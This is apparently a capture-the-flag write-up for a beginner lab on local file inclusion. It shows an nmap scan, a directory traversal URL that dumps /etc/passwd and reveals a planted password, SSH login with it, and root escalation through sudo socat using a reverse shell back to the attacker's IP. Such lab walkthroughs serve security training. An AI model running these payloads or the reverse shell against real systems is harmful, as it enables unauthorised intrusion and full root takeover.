Difficulty : Easy
This is a beginner level room designed for people who want to get familiar with Local file inclusion vulnerability.
First, let's do a simple enumeration with nmap :
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nmap -sC -sV -O <machine-ip>
22/tcp open ssh OpenSSH 7.6p1 Ubuntu 4ubuntu0.3 (Ubuntu Linux; protocol 2.0)
| ssh-hostkey:
| 2048 e6:3a:2e:37:2b:35:fb:47:ca:90:30:d2:14:1c:6c:50 (RSA)
| 256 73:1d:17:93:80:31:4f:8a:d5:71:cb:ba:70:63:38:04 (ECDSA)
|_ 256 d3:52:31:e8:78:1b:a6:84:db:9b:23:86:f0:1f:31:2a (ED25519)
80/tcp open http Werkzeug httpd 0.16.0 (Python 3.6.9)
|_http-title: My blog
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Port 80 seems interesting, we can see a web page with some informations on Local and remote file inclusion attacks.
After clicking on the LFI attacks section, we get that :
http://10.10.155.28/article?name=lfiattack
In the URL there’s a parameter called name, this indicates that the page we’re looking at is actually empty and it’s including content from another page.
Local File Inclusions are when we are allowed to manipulate the url to open other files.
Let's try to change the file name on the URL to make a directory traversal attack (we will try with /etc/password file).
http://<machine-ip>/article?name=../../../../../../etc/passwd
Then we got the answer we wanted
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root:x:0:0:root:/root:/bin/bash
daemon:x:1:1:daemon:/usr/sbin:/usr/sbin/nologin
bin:x:2:2:bin:/bin:/usr/sbin/nologin
sys:x:3:3:sys:/dev:/usr/sbin/nologin
sync:x:4:65534:sync:/bin:/bin/sync
games:x:5:60:games:/usr/games:/usr/sbin/nologin
man:x:6:12:man:/var/cache/man:/usr/sbin/nologin
lp:x:7:7:lp:/var/spool/lpd:/usr/sbin/nologin
mail:x:8:8:mail:/var/mail:/usr/sbin/nologin
news:x:9:9:news:/var/spool/news:/usr/sbin/nologin
uucp:x:10:10:uucp:/var/spool/uucp:/usr/sbin/nologin
proxy:x:13:13:proxy:/bin:/usr/sbin/nologin
www-data:x:33:33:www-data:/var/www:/usr/sbin/nologin
backup:x:34:34:backup:/var/backups:/usr/sbin/nologin
list:x:38:38:Mailing List Manager:/var/list:/usr/sbin/nologin
irc:x:39:39:ircd:/var/run/ircd:/usr/sbin/nologin
gnats:x:41:41:Gnats Bug-Reporting System (admin):/var/lib/gnats:/usr/sbin/nologin
nobody:x:65534:65534:nobody:/nonexistent:/usr/sbin/nologin
systemd-network:x:100:102:systemd Network Management,,,:/run/systemd/netif:/usr/sbin/nologin
systemd-resolve:x:101:103:systemd Resolver,,,:/run/systemd/resolve:/usr/sbin/nologin
syslog:x:102:106::/home/syslog:/usr/sbin/nologin
messagebus:x:103:107::/nonexistent:/usr/sbin/nologin
_apt:x:104:65534::/nonexistent:/usr/sbin/nologin
lxd:x:105:65534::/var/lib/lxd/:/bin/false
uuidd:x:106:110::/run/uuidd:/usr/sbin/nologin
dnsmasq:x:107:65534:dnsmasq,,,:/var/lib/misc:/usr/sbin/nologin
landscape:x:108:112::/var/lib/landscape:/usr/sbin/nologin
pollinate:x:109:1::/var/cache/pollinate:/bin/false
falconfeast:x:1000:1000:falconfeast,,,:/home/falconfeast:/bin/bash
#falconfeast:rootpassword
sshd:x:110:65534::/run/sshd:/usr/sbin/nologin
mysql:x:111:116:MySQL Server,,,:/nonexistent:/bin/false
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There are an username and a password in there.
Use them to connect in ssh :
ssh falconfeast@10.10.155.28
----> WE NOW HAVE THE USER FLAG.
For the privesc part :
sudo -l
It will give us informations about our current privileges :
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Matching Defaults entries for falconfeast on inclusion:
env_reset, mail_badpass,
secure_path=/usr/local/sbin\:/usr/local/bin\:/usr/sbin\:/usr/bin\:/sbin\:/bin\:/snap/bin
User falconfeast may run the following commands on inclusion:
(root) NOPASSWD: /usr/bin/socat
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So, we have sudo access for socat.
First we will run this command on our machine for sending us the root shell:
socat file:`tty`,raw,echo=0 tcp-listen:1234
Now, use this command on the remote machine :
sudo socat tcp-connect:<your-ip-address>:1234 exec:bash,pty,stderr,setsid,sigint,sane
----> WE ARE ROOT.